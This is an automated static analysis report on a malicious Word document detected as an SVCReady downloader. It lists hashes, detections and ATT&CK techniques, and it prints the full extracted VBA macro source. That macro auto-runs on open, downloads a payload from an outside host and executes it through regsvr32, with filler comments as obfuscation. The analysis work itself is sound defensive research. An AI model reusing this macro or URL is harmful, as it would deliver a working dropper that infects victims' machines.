Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f4deda99ff8cffa3…

MALICIOUS

Office (OOXML)

147.2 KB Created: 2020-07-08 23:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: c4f2a176d697be194fd216236044a6f2 SHA-1: e4b60770544bfa4e4b25492d3463e1536d62f2d4 SHA-256: f4deda99ff8cffa3828ca330aab63cfc809bcd89f7ad5e8d9ea25a4ed8a172e6
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols

The sample is an OOXML document containing VBA macros. The `autoopen` macro executes `URLDownloadToFile` to download a file from `the embedded link and saves it as `EA.tmp`. Subsequently, the `P` subroutine executes this downloaded file using `regs` (likely `regsvr32`) to initiate the second-stage payload.

Heuristics 5

  • ClamAV: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-81fe832081fe7c7c-9951593-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Predicament archaic posterior flexible
Call URLDownloadToFile(0, "http://9ygw2.com/iz5/yaca.php?l=kpt3.cab", Vw, 0, 0)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const Vw As String = "EA.tmp"
Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://9ygw2.com/iz5/yaca.php?l=kpt3.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2098 bytes
SHA-256: 4ace62cf29af858160f34f002bf015ad1821107ecfeebfc66eba4cb9576a84cd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "E"
Public Const Vw As String = "EA.tmp"
Sub autoopen()

' Insulin
' Projection monosyllable
' Dublin puny
' Pliable wa
' Pushing diet one-sided cho

' Name russet cad tips untoward
' Verona vulgarity awestruck
' Drag proportionate
' Predicament archaic posterior flexible
Call URLDownloadToFile(0, "http://9ygw2.com/iz5/yaca.php?l=kpt3.cab", Vw, 0, 0)

' Independence opposite variability foul clouds
' Vector chary
' Absolve efforts saudi mystery bankruptcy
' Pelt mignonette indians
P
End Sub

Attribute VB_Name = "E1"
Sub P()

' Paint regarded aggregation
' Voip earthenware labels propaganda
' Hasan sc
' Similitude sheriff accelerated furthest gary associations
' Irish aphorism palermo

' Squalid
' Swim composite ridge

' Saying left-hand make incendiary
' Developer spelt
' Lurid car
' Graduation viagra two ejaculation prompt

' Rotary spectacular pyre
' Thong rc
' Award gentle xxx

' Wondering busts entitled
' Bind
' Siemens wp

' Peers throws dump
' Fete trackbacks chad
' Ungracious arrow

' Duffer critics grown
' Abner newcastle
' Mainly pickle
' Cop canal puzzles

' Trek
' Partaken objects msg detector logos
' Courtesy
' Vacuum bewildering isabelle
Dim Cf As New WshShell

' Joust
' Prediction diocese complement
Cf.run "regs" + "vr32 " & Vw
End Sub

Attribute VB_Name = "g"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Fh As LongPtr, ByVal wU As String, ByVal Jk As String, ByVal zI As LongPtr, ByVal KB As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Fh As Long, ByVal wU As String, ByVal Jk As String, ByVal zI As Long, ByVal KB As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19456 bytes
SHA-256: 56b8fea4a4902a359baba5a512560575dc7ddd348de75a285eb832addf1ffb64

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